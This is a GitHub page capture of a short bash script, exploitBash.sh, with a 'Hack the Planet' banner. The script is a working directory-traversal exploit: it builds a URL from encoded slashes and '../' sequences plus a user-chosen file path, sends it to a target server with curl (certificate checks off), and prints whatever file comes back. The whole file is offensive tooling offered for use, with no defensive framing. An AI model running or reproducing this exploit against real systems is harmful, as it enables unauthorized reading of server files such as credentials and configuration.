-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploitBash.sh
63 lines (52 loc) · 1.73 KB
/
exploitBash.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/bin/bash
# Disable warning
export CURL_SSL_BACKEND=openssl
# Function to print ASCII art
ascii() {
echo " _ _ _ _ _ ___ _ "
echo " | || |__ _ __| |__ | |_| |_ ___ | _ \ |__ _ _ _ ___| |_ "
echo " | __ / _\` / _| / / | _| ' \/ -_) | _/ / _\` | ' \/ -_) _|"
echo " |_||_\__,_\__|_\_\ \__|_||_\___| |_| |_\__,_|_||_\___|\__|"
}
# Function to exploit
exploit() {
local targetUrl=$1
local targetPort=$2
local targetFile=$3
local encoded_target_file=$(echo "$targetFile" | sed 's/\//%2F/g')
local finalUrl="$targetUrl:$targetPort/%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..$encoded_target_file"
# Make the GET request
response=$(curl -s -w "%{http_code}" -k "$finalUrl")
# Extract the HTTP status code (last three characters of the response)
status_code="${response: -3}"
# Extract the content of the response (all but the last three characters)
content="${response:0:${#response}-3}"
# Check if the request was successful
if [ "$status_code" -eq 200 ]; then
echo "Request was successful!!!!"
echo "Response content:"
echo "$content"
else
echo "Target might not be vulnerable..."
exit 1
fi
}
# Main function
main() {
if [ "$#" -ne 6 ]; then
echo "Usage: $0 -u targetUrl -p targetPort -f targetFile"
exit 1
fi
while getopts "u:p:f:" opt; do
case $opt in
u) targetUrl=$OPTARG ;;
p) targetPort=$OPTARG ;;
f) targetFile=$OPTARG ;;
*) echo "Usage: $0 -u targetUrl -p targetPort -f targetFile"
exit 1 ;;
esac
done
ascii
exploit "$targetUrl" "$targetPort" "$targetFile"
}
main "$@"